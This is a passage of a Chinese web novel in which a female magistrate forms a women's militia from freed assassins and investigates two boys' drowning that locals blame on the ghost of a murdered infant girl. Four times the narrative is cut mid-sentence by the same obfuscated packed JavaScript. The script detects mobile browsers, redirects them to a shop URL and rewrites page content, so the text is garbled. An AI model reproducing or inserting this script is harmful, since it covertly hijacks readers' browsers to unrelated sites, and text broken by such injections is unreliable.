他对徐二妞道:“徐二妞,今日是你第一天当值,先熟悉一下县衙的环境就行,再去跟其他护卫打个招呼,然后就可以回家了。” “好。” 徐二妞领着四妞在县衙闲逛,十分开心。 客厅里只剩下云水谣和元景佑二人。景佑抓了一把零食给云水谣:“大人也吃些吧。” “我最近胖了,不能再吃了。” “看不出来,大人还是很苗条。” “会说多说点。” 景佑忍不住笑了。 “对了大人,我给你做了红枣莲子羹。” 景佑跑了出去,过了一会,端来一碗红枣莲子羹。云水谣吃了一口,感觉味道不错。 她问道:“你学了多久?” “学了四五天吧,大人觉得可以吗?” “可以,不过这种事不用你来做的。” “闲来无事才做的,平时我会保护好大人。” “噗,我不是责怪你。谢谢了,会做多做点。” “好的。” 云水谣觉得,景佑越来越贤惠了。 又过了几日,云水谣去县衙时,却发现有十几个女孩在县衙附近坐着。 看云水谣过来了,她们都走了过来。 云水谣问道:“你们是谁?是否有冤情要向本官陈述?” 女孩们问道:“云大人不记得我们了吗?” 云水谣仔细看了看,发现这些女孩正是前段时间被自己释放的女杀手们。 云水谣问道:“你们不是都恢复记忆,各自回家了吗?怎么又来了?” 女孩们道: “大人,我们是在家乡过不下去了,又来投奔您了。” “是啊,我们宁可继续在您这边服劳役,至少您按时给工钱,还不会欺负我们。” 云水谣惊道:“怎么回事?你们随我进去,细细说来。” 云水谣把她们带入后堂,让她们说说这段时间的经历。 原来,这些女孩们回家后,家里并不怎么欢迎她们。家里人早已习惯了没有她们的生活,她们突然回去,竟遭到家人的排斥。她们本来就是家里不受宠的女儿,当年丢了之后,父母皆觉得轻松,不怎么悲伤。 如今她们回去了,对父母来说,就像是被人偷走的累赘又自己回来了,只会增添负担,自然不喜。 而且,周边邻居对她们的评价很不好,有的说她们是杀人犯,让自家孩子不要靠近;有的说她们在外面做不正经的营生,做不下去了才回来。 她们为了融入家庭,做低伏小,满足家人的一切要求,要钱给钱,需要出力时也出力。很多家人把她们当长工用,还不给好脸色。她们虽然身怀武功,总不能对自己的家人动手,所以也没法子。 她们不约而同地觉得,自己脱离家庭太久,现在已经无法融入了,不如还是去外面流浪,便回到洛县,想找云水谣。 其实她们身怀武功,成为侠女也是一条出路,可一来她们并不想过这样动荡的生活,她们本质上还是渴望安定的;二来当侠士也是需要经济支撑的,她们没有产业,没有存款,没法当潇洒的侠女;三来她们怕自己闯荡江湖之后,百尺楼知道她们的行踪,又来纠缠她们或是杀了她们,所以沦落江湖并不是一个好的选择。 她们各自来到洛县后,见到昔日的其他同伴,才得知大家的境况都差不多,竟不约而同地选择来到洛县。 于是,她们约了个时间,集体来找云水谣。 云水谣听得又气愤,又同情。她们的遭遇,跟徐二妞差不多。这个世界需要女孩当劳动力,却又不接纳女孩。 她想了想,道:“洛县现在暂时没有什么工程,你们可以住在县衙附近的出租房里,慢慢找工作。那些出租房价格低廉,适合你们。之前跟你们一起的徐二妞,当了我的护卫。但是我不需要更多护卫,也聘请不起,所以你们不能留在我身边了。” 女孩们道:“我们愿意留在这里,各自找工作。若是县里有什么工程,请大人来找我们,我们很能干活,比普通男人强多了。” “放心,我会尽力帮助你们的。” 看着女孩们殷切地讨生活的样子,云水谣有些心酸。 她给孟荀写信,想看看卫县那边有没有什么工程,若是有,也可以安排这些女孩去做。 几天后,孟荀回信,说她那边也有一批女杀手回来找她,想再服劳役,跟洛县这边的情况相似。只是卫县那边的工程都已经有人承包了,没法安插这些女孩进去,孟荀自己也在头疼呢。 得知此事,云水谣暂时也没什么办法,只能让这些女孩暂时先自己找工作了。 没过多久,大部分女孩都找到了工作,只是都是一些工钱低、又辛苦的工作,比如酒楼里的帮厨、有钱人家的帮佣之类的。 这日,云水谣在酒楼吃饭,发现一个面熟的女孩从门口经过。仔细一看,那个女孩便是之前自己救下的女杀手之一,名叫小梅。 小梅看着憔悴了许多,人也瘦了一大圈,垂头丧气的。云水谣叫住她:“小梅!” 小梅见了云水谣,有些惊喜,又有些惭愧,走了进来,向她行礼。 云水谣扶住她,让她在自己旁边坐下吃饭,问道:“小梅,我记得你找了工作,为何大白天在外面闲逛?” “唉,别提了,我已经丢了工作。” “为何?” “之前我找了一份帮有钱人家带孩子的工作。可是我以前从没带过孩子,有些手忙脚乱的。还好我跟那孩子投缘,他就喜欢跟在我身边,主家也因此给我加了工钱。其他帮佣嫉妒我,便到主家面前说,我会武功,平时会偷偷打孩子,孩子跟我亲是因为我把他打服了。主家很生气,不问青红皂白便辞退了我。” “原来如此……别难过,再慢慢找份工作便是。” “嗯。” 小梅心情低落,食不知味,只随便吃了点东西便告辞了。 一连数日,云水谣偶遇那群女杀手,她们如今的工作都有不如意处。云水谣不禁有些忧心。 这日,却见游击将军杜羽来到县衙。 云水谣赶紧迎上去,问道:“杜将军所来何事?” “我营中士兵送了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907788|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 批到战场上,现在要再次募兵,洛县大概要征募一百五十人左右。还请云县令贴出征兵告示。” “好,我这就去办。” 贴完告示后,杜羽拿来一个盒子给云水谣,盒子用黑布盖着,不知道里面是什么。 云水谣问道:“这是什么?” 杜羽笑道:“云县令自己打开看看便知道了。” 云水谣把黑布掀开,发现里面竟是一只黑白相间的雏鹰。 “杜将军,这只雏鹰是送我的?” “对,我养的鹰生了几只雏鹰,孟荀知道了,非要我送她一只。我想着反正要出门,顺便也送你一只。” “谢谢。” 云水谣还从来没养过鹰,有几分新奇。她盯着这只鹰,左看右看。 这时,她听见了鹰语:“这就是云县令吗?长得可真好看,跟杜将军画上一模一样。” 云水谣有些吃惊。莫非杜羽画过自己的画像?可又不好直接问他。 云水谣问杜羽:“杜将军会画画吗?” “会,只是不常画。” 云水谣也不好再问下去,只是心跳如鼓。 她拿了几块鸡肉喂雏鹰,看着雏鹰狼吞虎咽,觉得很有意思。只是,她一边忧心着公务,一边猜测着杜羽的心思,显得心事重重,难免在脸上表现出来。 杜羽看出来了,问道:“云县令有心事?” “我……确实有。” 云水谣便把那群女杀手的近况说了:“她们最近都在做一些不太安稳且工钱低的工作,县里又不是一直有工程,我不知道该怎么帮助她们才好。她们毕竟是我救回来的,难免多操心些。” “这好办,我有许多征兵名额,可以组建一队女兵,让那群女杀手来当。她们本就身怀武功,当女兵再合适不过了。不过,为了她们的名声着想,她们不能来我的军营训练,以后就由云县令来训练她们,而她们的职责便是守卫洛县,也不必跟着我上战场打仗,这样安全些。” 云水谣惊喜道:“这倒是个好主意。” “给你一百个名额够不够?” “够了。杜将军真是解了我燃眉之急。” “小事一桩。以后女兵的编制在我这儿,人在你那儿,你再抽空把孟荀身边那群女杀手也一并接过来,受你管辖。女兵的事就由你全权处理了,我先走了。我去孟荀那儿一趟,把这事跟她说一声。” “好。” 云水谣目送着杜羽离开。 几天后,孟荀那边的女杀手果然过来投奔云水谣了,还带来孟荀的书信。 孟荀在信上说,自己已知道云水谣要组建女兵的事,所以让自己这边的女杀手也过来。另外还写了一些雏鹰喂养事宜,说让云水谣好好养鹰,将来要让两人的鹰比试一番,云水谣看得发笑。 从此,云水谣便把这些女杀手组建成女兵,让她们巡逻洛县,帮助百姓,闲暇时练武、操练阵法。工钱是杜羽那边发,云水谣还经常额外犒劳她们,或是给她们发奖金。 这些女兵可谓得其所哉,积极性很高,又没有家庭的拖累,干得很好。 31. 僧多粥少县令开会 捉襟见肘女官筹钱 当时云水谣解救出来的女杀手一共有五十多人,有一部分人回家后跟家人相处得不错,便一直安心待在家中。 但现在她们听说以前的小姐妹成了女兵,心里也跃跃欲试,便辞别家人,一起来找云水谣,想加入女兵营。 云水谣自然欢迎之至,让她们一起加入了,女兵营就有了五十二人。 这些女兵本来一直在王大兴家受训的,还没来得及被送进百尺楼总坛,就被云水谣截获了。 她们各自都很熟悉,现在在一起当兵,凝聚力也很强,根本不需要过多管理,云水谣也乐得轻松。 这天,县丞林复来找云水谣,有些为难地说道:“大人,自从女兵营成立以来,有许多女子找上县衙,说是也想加入女兵营。我们粗略统计了一下,这段时间来报名的竟有七八百人。我已说了没有这么多名额,需要让县令筛选一下。大人您看应该如何?” 云水谣惊讶:“竟有这么多女子想当女兵?她们都学过武吗?” “大部分没有。依我看,她们应该是日子过得不太好,羡慕女兵们有正式工作,工钱还高,所以想加入。很多女人是没有正式工作的,她们大部分时间都花在照顾家庭上。 “即便家庭有营生,但赚的钱大部分也掌握在父母或男人手里,女人没钱,还受苦受累兼受气。未婚女子如此,已婚女子亦然。女兵们地位高,所以其他人产生艳羡之心,想成为女兵营一员,也可以理解。” 对于林复所说的情况,云水谣也有感觉。 她知道女性需要话语权和地位,而话语权、地位都要由经济基础带来。 她先写信询问杜羽,女兵营能否增加人数。 杜羽回信说,一百人已经是他能拨出的最大名额了。他的金缕营为朝廷练兵,也要经常为战场输送士兵,所以男性士兵的数量必须保持在一个较大的范围。如果女兵的名额多了,男兵的名额就少,到时候朝廷向他要人,他交不出特定的数量,麻烦就大了。 女兵营本就是他便宜行事,偷偷组建,如果规模不大,朝廷可以睁只眼闭只眼。但若闹大了,只怕杜羽和云水谣都要受到责罚,毕竟朝廷并未颁布征募女兵的法令。 云水谣明白杜羽所说的,因此决定把女兵数量控制在一百人以内。 现在已经有五十二人,那就只能再招四十八个。 云水谣让小吏准备笔墨纸砚,凡是想报名女兵的,都填一张申请表,写上姓名、籍贯、年龄、家里情况、身体健康状况等等,进行筛选。 报名的人虽然很多,但最终符合条件的很少。要排除年纪太大或太小的、身体太差的、家里负担太重的、力气太小的、反应太慢的,等等,最终从报名的一千多人里,勉强选出了四十多个。 至此,女兵营就招满了。 新招进来的女兵,由老兵训练,巡逻、干活的事,暂时先让老兵顶上。 新女兵们拳脚功夫得从头学,臂力、耐力、体力等都得加强练习,还有各种军纪、阵法等等,要学的挺多的。最终坚持下来的不过十几人,有好多个新兵受不了这份苦,又离开了。 见女兵营有名额空缺,其他女子又来报名,但还是重复之前的事,能坚持下来的少之又少。 而那些没有通过考核,或是加入女兵营后又退出的,都十分懊恼。 云水谣知道她们有独立的心,只是身体状况和家庭状况不允许,因此也很想帮助她们。 在一次早会时,云水谣便将这事与下属们商议。 云水谣道:“本官发现很多女人都有工作的需求,但是当女兵不是一般人吃得消的,而且有些女人虽然身体强壮,但有太多家人需要照顾,也没有时间当女兵。本官认为,当务之急是要给女人更多的工作岗位才是。各位有什么想法?” 县丞林复道:“大人,很多工作只提供给男人,皆因受男主外、女主内思想的影响。而且,男人的力气确实比女人更大,很多活计男人干更合适。有些岗位虽然男女都招,但实际招人的时候,还是更偏向招男工。而且,就算男女干同样的工作,也往往是男人的报酬更高。这种种问题,并不是一朝一夕所能解决。” 又有下属道:“要提供更多工作岗位,就必须发展本县的经济。否则,岗位就那么多,若是增加女子岗位,难免就要缩减男子岗位,会引起男女矛盾,社会动荡。” 云水谣点头:“言之有理。只是,要发展经济,需要先有所投入,财政方面是一大问题。而且,有很多工种需要掌握一定的技艺才能做,比如绣娘、药师、接生婆、手工艺人等等。我打算开设技能培训所,培养一些熟练女工,这样她们就能自食其力。而且这些工作比当女兵要轻松一些,也更不挑人。诸位有什么看法?” 县丞林复道:“大人的设想很好,但需要一大笔钱。首先,开设技能培训所,需要投入人力、物力和财力。其次要聘请专业老师,可是各行业的老师傅都是靠手艺吃饭,收徒很严格,如果让他们去公开授课,只怕他们未必肯,就算肯,也肯定要收不少的银两。很多行业,多进去一个人,就多一个分钱的人,本行业的人其实不是很愿意。” 云水谣点头:“林公所言,我也有所考量。我想,可以先选一些从业门槛低的行业,聘请几个老师傅先教着。一些被垄断的行业,再慢慢想办法。至少能先提供一部分就业岗位。至于财政方面,我这些天看了县里的档案,发现县里的钱不多,只怕难以支撑本官做这件事。不如向雍州府申请财政拨款,诸公以为如何?” 有个僚属道:“大人,下官觉得很难申请成功,雍州府现在财政也很紧张。不过大人可以先试试。” 于是,云水谣试着写了一份奏折,快马加鞭递给雍州刺史,申请财政拨款,言明为提供女子就业岗位,需要办培训所等事。 几天后,雍州刺史批复,说州里财政吃紧,有许多大事尚且经费不足,拨款一事暂且驳回,请云水谣另外设法筹钱。 接到回复后,云水谣有些闷闷不乐。没钱真是寸步难行,普通人如此,官员亦然。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907789|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刚好元景佑过来,给云水谣送吃的,见她不悦,便问道:“大人怎么了?” 云水谣喃喃自语:“没钱啊没钱。” 元景佑惊道:“大人缺钱?等着,我马上去钱庄取!” 云水谣赶紧拦住他:“不是我个人缺钱,是县里缺钱,我的很多政策办不了。我知道你现在有钱,但没有拿你私人的钱填补县里亏空的道理,且也填补不起。” “能帮多少是多少,尽我所有便是。” “这可不行,你的钱还是留着娶媳妇吧。” 元景佑脸色一红,看了云水谣一眼,似乎想说什么,但又没勇气开口。 云水谣接着说:“若是能从哪里弄一笔巨款过来就好了。” 元景佑想了想,道:“大人何不向各大钱庄借钱呢?地方官缺钱时,向民间富户、钱庄借钱是常态。” 云水谣拍手道:“你说得有道理,这就借去!对了,洛县最大的钱庄是哪个?” “好像叫新丰钱庄。” 云水谣带着几个僚属,和景佑一起来到新丰钱庄的总部。 既然要借钱,总要多带点人壮胆。 新丰钱庄的掌柜赶紧迎出来,道:“县令大人到访,小店蓬荜生辉。” 掌柜把云水谣等人迎进会客室,问道:“县令大人来此有何公干?” 云水谣道:“有件要紧事,想跟你们东家商议。” 掌柜有些为难:“大人,东家最近有事,没在钱庄。” “是吗?那他明日会来吗?” “这可说不准。不过,我猜他不会来。他已经有好一阵子没来了。” “这是为何?” “不好说啊,实在是……哦,请大人先喝茶。” 掌柜并未继续说下去,而是转移了话题。伙计们拿来精致的茶水和点心,云水谣只得先吃着。 过了一会,云水谣问道:“本官想向贵处借点银两,掌柜能否做主?” “若是一万两以下,小人可以做主。若是超过一万两,要请示东家。” 云水谣需要一大笔钱,看来还是要去找钱庄的东家。她问道:“不知你们东家家住何处?本官想去拜访。” “东家就住在腾飞街,最大的府邸便是。只是这段时间只怕不方便接待县令大人。” “为何?” “这……大人去看看便知道了。不过,小人斗胆恳请大人,过段时间再去。这些日子我们东家遇上了大事,心情郁卒,神情恍惚,怕是会招待不周。” 听闻此言,云水谣更加好奇了。她倒真想去钱庄东家那里去看看。只是,若东家真的心情不好,只怕很难借出钱来。 云水谣思来想去,觉得事情不能再拖了。不如直接去拜访,反正最坏的结果就是不借钱,也不会有什么事。 于是,云水谣率众来到了腾飞街,找到最大的府邸——孙府。 一靠近,就听见许多哀哭之声。孙府门口挂着白幡,穿着丧服的人来来往往,像是有丧事。 32. 婴鬼复仇实怪诞 两子俱丧亦可怜 孙府附近有很多百姓围观,云水谣问其中一个百姓:“请问孙府出什么事了?” 百姓摇头叹道:“惨,真惨啊……孙老爷的两个儿子都死了……” 云水谣大惊:“怎会如此?” “是婴鬼复仇,婴鬼复仇啊……” 云水谣听得又困惑,又惊骇,问道:“什么是婴鬼复仇?” 这百姓却脸色苍白,摇摇头,不肯再说。 云水谣向其他百姓打听,有胆大的百姓向云水谣说了事情的原委。 原来,就在三天前,孙府的两个少爷都溺毙在马桶中。两个孩子没有挣扎痕迹,事发时也没有人,十分怪异。 孙家人本想报官,可是有老仆提起,两位少爷的死法,像是婴鬼复仇。 原来,在十几年前,孙家曾溺毙过一个女婴,也是在马桶里溺死的。 最近民间流传着一个传言,说是曾经弄死过女婴的人家,那些女婴会化为厉鬼前来复仇,把家里的男孩害死。当年的女孩是如何死法,如今的男孩便是相同的死法。 已经有很多人家经历过这样的事,受害的百姓都不敢声张,一来是心虚愧疚,二来是听说,如果敢跟这些女婴鬼魂作对,会遭遇更大的厄运,家里所有的子孙都会被残害殆尽。 因此,受害的人家竟无一人报官的,只是把死去的孩子匆匆下葬,并祭奠以前死去的女婴,请求她们收手而已。 这婴鬼复仇的事,虽然没有被官府知道,但是很多百姓中间都传开了。 以前都是一些普通人家遇到这样的事,还是第一次有大户人家遭遇婴鬼复仇。 孙府的主人孙修明虽是富豪,经营着洛县最大的钱庄,可是遇上这种事,也只好自认倒霉,为两个儿子发丧。鬼神缥缈,即便想报仇也无从报起,况且本就是自己有错在先。 云水谣听了这个传闻,盯着孙府的白幡,若有所思。 她问元景佑:“景佑,你相信婴鬼复仇吗?” 景佑摇头:“人鬼殊途,这些凶杀案只怕别有内情。” “我也是这么想的。走,进去看看。” 云水谣想着,若是能替孙修明查明儿子被杀案的真相,孙修明一定会感激自己,到时候要借钱也就容易得多了。 云水谣一行人走了进去,早有家丁进去通报主人。 出来迎接的却不是家主孙修明,而是夫人董氏。 董氏看着四十多岁,面相有些凌厉,但此时容颜憔悴,两眼无光,走路需要丫环搀扶,像是只剩下一口气了。 听说她只有这两个儿子,一下子都死了,下半辈子的希望都没了,也难怪她如此伤心。 只是,身为富商之妻,她在此情形下还保持着基本的礼仪,对云水谣行礼道:“云县令大驾光临,家夫因哀伤卧床不起,已有三日,实在不能出来见客,请县令恕家夫失礼之罪。” 云水谣赶紧道:“夫人不必多礼,本县得知贵府之事,心中哀恸,特来吊唁,你们不需要特意招待。不知灵堂设在何处?” 董氏道:“我带大人过去。” 董氏带云水谣来到灵堂,正中央摆着两口小棺材,都封得很严实。堂上摆着两个灵位,上书“大儿孙豫章之位”“二儿孙豫文之位”。许多下人在此伺候,来吊唁的宾客们也很多。 只是众人要么沉默不语,要么低声交谈,整个灵堂呈现出一片肃穆哀伤是氛围。 云水谣见此情形,不免也心情低落,上了三炷香。 接着,她问董氏:“两位令郎多大年纪?” “一个十二岁,一个十一岁。” 说完,董氏又开始抹眼泪。 两个孩子还这么小,怪不得棺材也小。董氏身为人母,怎能不悲伤。 云水谣还有一些问题想问,但又不忍在此时打断董氏的哀悼。 等董氏心情平复下来,云水谣才问道:“夫人,可以跟本县说说两位公子身故时的情形吗?” “这……” 董氏想说话,但是却说不出来。 她身边的老嬷嬷心疼地看了她一眼,对云水谣道:“县令大人,我们夫人太悲伤了,没法说当时的情形。不过老奴当日也是跟夫人一起到案发现场的,就由老奴来说吧。” 云水谣点了点头。老嬷嬷便把当时的情形说了。 孙府的两位少爷住在同一间屋子,素来有午睡的习惯。 只是,他们不肯自己午睡,需要一个丫环哄着。那丫环唱歌好听,每天中午都给他们唱童谣,唱着唱着他们就入睡了。 为了保证两位少爷每天都有充足的睡眠,在中午时分,少爷们的内院是不允许有其他下人进出的,下人们都在外院伺候。 三天前,那丫环将两位少爷哄睡后,离开了一小会。 谁知,等她回来时,就发现两位少爷溺毙在马桶中。 丫环吓坏了,赶紧通知其他人。 老爷、夫人赶到现场,夫人当场就晕了过去,老爷也是跪倒在地,哭号不止。 老爷孙修明本想报官,但有几个有经验的老仆提起,这件事像是婴鬼复仇。 当年孙修明曾溺毙女婴的事,这几个老仆也是知道的。再加上最近甚嚣尘上的婴鬼杀人传闻,还真像那么回事。 因此,孙修明决定不报官,直接给两个儿子发丧。一旦把事情闹大,惹怒婴鬼,只怕还会有其他噩耗,他赌不起。 就是因为此事,孙修明才许多天不曾去钱庄了。 听完老嬷嬷的讲述,云水谣对董氏道:“夫人,我有事想问你,可否让宾客和下人们都先出去?” “好。” 董氏遣退了下人和宾客,云水谣便直说道:“夫人,我怀疑两位公子的死有蹊跷,可否开棺验尸?” 董氏瞪大了眼睛,既伤心,又防备,拒绝道:“大人,这绝对不行!我儿已进入棺材,万不可惊扰他们的魂魄。而且此事既然是婴鬼复仇,我们也认了,不必再查。” “世上岂有鬼魂杀人之事?依我看,一定是人为。夫人难道不想知道害死你儿子的真凶是谁吗?” “不,不是人为……就是我女儿回来复仇了……” “夫人何以如此肯定?难道您见到过她的鬼魂?” “人眼岂能看见鬼魂,我没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907790|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见过……但婴鬼复仇的事是真的,已经有很多户人家遇到这样的事了……我对不起我女儿,她回来复仇也是应该的……” 说着,董氏就说起了十几年前的往事。 十几年前,孙家的家主还不是孙修明,而是他父亲。当时,孙家还没分家,孙修明和自己的弟弟住在一起。 他们两兄弟娶妻十来年,都没有孩子。生子偏方吃了无数,郎中也看了不少,可都不奏效。 孙父十分着急,想抱孙子,因此对两个儿子说,他们谁先生下男孩,就把他们母亲留下的嫁妆给谁。 他们的母亲也是出自富贵人家,嫁妆很多,比孙家的财产还多,都保存在孙父手中。 为了得到那笔遗产,孙修明和他弟弟铆足了劲想生儿子,各自找高明的大夫为自己诊治。 在他们两兄弟的不懈努力下,董氏和她的妯娌都怀孕了,怀孕日期很相近。 两妯娌也暗暗较劲,都想先生下男孩。 为此,董氏不惜使用催产之法,率先发动,生下了一个孩子,可惜是个女婴。 而她的妯娌也跟着催产,生下的却是男婴。 亡母留下的财产便落到弟弟一家手中。 孙修明见自己希望落空,气急败坏,把所有的气都撒在女儿头上。接生婆本来就说这个女婴是催产的,身体太弱,很难养活,孙修明干脆将女婴溺毙在马桶中。 而当时刚刚生产完的董氏,因为无法继承婆婆的遗产,也迁怒于自己的女儿,因此任由女儿被溺毙,竟不发一言。 后来,孙修明的弟弟一家因为继承了巨额财产,分家出去,搬到了大城市居住,还开了家比新丰钱庄更大的银号。 而孙修明则一直留在洛县,继承家里的新丰钱庄。 虽然他是洛县排得上号的富户,可是跟弟弟的财富却没法比,这么多年他始终未曾释怀,也一直怨恨早已死去的女儿,恨她来得不是时候,恨她不是男孩。 后来,他和妻子董氏又生了两个儿子,也就渐渐地把死去的女儿丢开了。 没想到,这一两年来,出现了婴鬼复仇的传闻。 本来孙修明夫妇是不信的,谁知这事落到自己头上,由不得不信。 如果不是溺毙的女儿前来复仇,为何自己的两个儿子也是同样溺毙在马桶中呢? 而且两个孩子毫无挣扎的痕迹,这怎么也不像是人为。 直到惨事发生,他们夫妻才开始后悔,早知道当初就养活女儿,那女儿也不会变成厉鬼复仇。 他们对于婴鬼复仇之说深信不疑,大概是因为他们心里也明白,自己之前做的事,值得婴鬼来复仇,这正是自作自受,与人无尤。 听完这段往事,云水谣心中固然很气愤,对孙家夫妇也充满了鄙夷。可她还记得自己的目的和身份,自己是来查男孩被杀案的,不能被个人情绪所左右。 因此,她还是坚持说道:“夫人,您的女儿确实死得很惨,但若说您的儿子是被早已死去的女儿杀的,那却是不可能的。还请夫人允我开棺验尸。” 这时,门外传来一个气愤的声音:“不可能!” 33. 夫妻互怨怼 丫环含私情 云水谣往外一看,门外走进来一个病骨支离、身材魁梧的大汉。那大汉的脸颊本来应该是很圆的,但现在已经瘦削很多,胡子拉碴,看着很憔悴。他走不稳,是拄着拐杖进来的。 此时他的神色有些愤怒,尽量压着性子对云水谣道:“县令大人,我两个儿子已经惨死,请您不要扰他们清静了。” 云水谣问道:“您就是孙修明?” “正是。” “孙老板为何认定是婴鬼杀人?万一不是呢?” “除了婴鬼,还有谁有这样的能耐?总之,我和夫人认栽了,绝不能答应大人验尸的请求。” 云水谣知道劝告不管用,便拿出县令的威严,道:“本官知道你们伤心,可是本县之人皆是我的子民,他们死得蹊跷,我不能不管。你们若是再阻挠,便是违抗长官之命。” 孙修明和董氏犹豫了一会,只得同意。 云水谣让景佑打开棺材验尸。 棺材打开后,云水谣看见两个可爱的孩子。他们的身躯和面部已经被清理过,不但没有马桶的臭味,还散发着一股清香。尸斑集中在面部、颈部,其他部位没有,可以推断当时两个孩子头浸入马桶中,很快就溺毙了,其他部位没有接触马桶。 元景佑道:“初步判断死因是溺死,但还需剖尸检查。” 一听要剖尸,孙修明夫妇坐不住了,站起身来激动反对:“不行!绝不能剖尸!” 景佑耐心解释:“清醒状态下溺水和昏迷状态下溺水,身体内部的变化是不同的,剖尸检验是为了更好地还原当时的场景。” 云水谣也以身份压着孙修明夫妇,为免他们太过悲伤,命人将她们请出去。 元景佑开始剖尸,仔细检查。 过了一会,元景佑道:“大人,这两个孩子是在昏迷状态下溺水的。清醒时溺水,人会不自觉地呼吸,把水吸入肺部。但是这两个孩子肺部没有积水,只有喉咙、口鼻处有残存的尿液,可知是昏迷时溺水。” “昏迷……那他们有服用什么药物的痕迹吗?” “这似乎没有。” “看来,还需审问一下死者身边的人。” 云水谣把孙修明夫妇叫进来,说明验尸结果。 孙修明夫妇仍然坚持是婴鬼复仇,因为婴鬼才能弄晕两个孩子。 孙修明道:“大人,我家孩子明明是被婴鬼复仇而死,您却将他们剖尸,我们做父母的心里实在不好受。大人若不能给个交代,我孙修明绝不能善罢甘休。” 云水谣道:“我敢肯定,令郎之死乃是人为。也许婴鬼在你们心里确实是无所不能,但把两个孩子弄晕,让他们溺水,人也可以办到。把当天接触过两位少爷的人叫来,本官要审问。你们放心,本官一定会给你们一个交代。” 事已至此,孙修明也只好配合云水谣。他叫来案发当天服侍过两个儿子的下人。 云水谣盘问之下,发现其他下人都只在早上接触过两位少爷,只有一个叫凝香的丫头是伺候两位少爷午睡的。 云水谣问凝香:“当天中午到底发生了什么?” 凝香是个身材丰满、皮肤雪白的美貌丫头,她看了孙修明一眼,才说道:“那天中午,奴婢唱歌哄两位少爷睡觉。大约一炷香时间后,他们就睡着了,当时大约是午时一刻左右。然后奴婢就离开了一会,等回来时,就发现两个少爷溺毙在马桶中。” “你离开了多久?” “半个时辰……奴婢回来是大概是午时三刻。” 云水谣皱眉:“为何这么久?” “奴婢……闹肚子了,去了茅房。” “当时除了你之外,还有其他人伺候两位少爷吗?” “没有。因为两位少爷很调皮,若是房间里人太多,他们就不肯好好午睡了。所以每天中午,都只有奴婢一个人伺候,其他下人都只能去外院候着。” 这一点,跟云水谣之前了解到的一样。 云水谣又问其他下人:“凝香离开后,你们有谁进入过少爷房间,或是有看见什么可疑人出入吗?” 下人们都说没有。 云水谣想了想,又问道:“下人们吃的饭菜都是一样的吗?” 管家道:“回大人,一些普通的菜每个下人都有,但品级高的下人可以多吃一两样菜。” “那凝香那天中午吃的什么?” 管家翻阅了厨房的册子,答道:“凝香是一等丫环,每天中午可以吃三个菜。案发当天,她吃的是豆角炒肉、腐皮炒青菜、松茸鸡汤。” “有人跟凝香吃一样的菜吗?” 有六七个下人站了出来,道:“大人,我们都是一等仆役,跟凝香的伙食是一样的。” “案发当日的中午,你们有闹肚子吗?” “回大人,没有。” 云水谣盯着凝香:“那为什么只有你闹肚子了?” 凝香有些支支吾吾的:“因为……因为当时有些菜掉在地上了,我不想浪费,就捡起来吃了。吃了不干净的菜之后,才闹肚子的。” 云水谣怀疑地看了她两眼,她说的倒也勉强过得去,但云水谣总觉得有哪里不对。 她对孙修明说道:“两位令郎差不多是在午时一刻到午时三刻之间死的,这个时间段是一天中阳气最重的时候,人犯斩首也是选在午时三刻,就因为这个时辰能抑制阴魂作乱。若是真有婴鬼,怎么会选在午时动手?” “这……” 孙修明也难以回答。 许多百姓都相信鬼神之说,那么他们自然也坚信,鬼魂不会在午时作乱。在很多话本故事里,鬼魂的出现都是在半夜,那会阴气最重。 因此,云水谣说的话,确实让孙修明夫妇产生了动摇。难道他们儿子的死,真是人为? 见他们夫妇神色变化,云水谣便知道他们被自己说动了。 因此,云水谣对丫环凝香道:“你当时去茅房,可有人看见?” “没……没有。” “既然没有,那你就是两位少爷之死的第一嫌疑人。本官要把你带回县衙,详加审问。” 凝香跪下道:“大人,冤枉啊,真的不是我……有人可以给我作证……” “谁?” 凝香看了孙修明一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907791|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却不说话了。 孙修明脸色一变,瞪了凝香一下,眼神中似乎含有威胁之意。 云水谣看出端倪,继续问道:“凝香,你若不说,本官只好将你下狱了。” 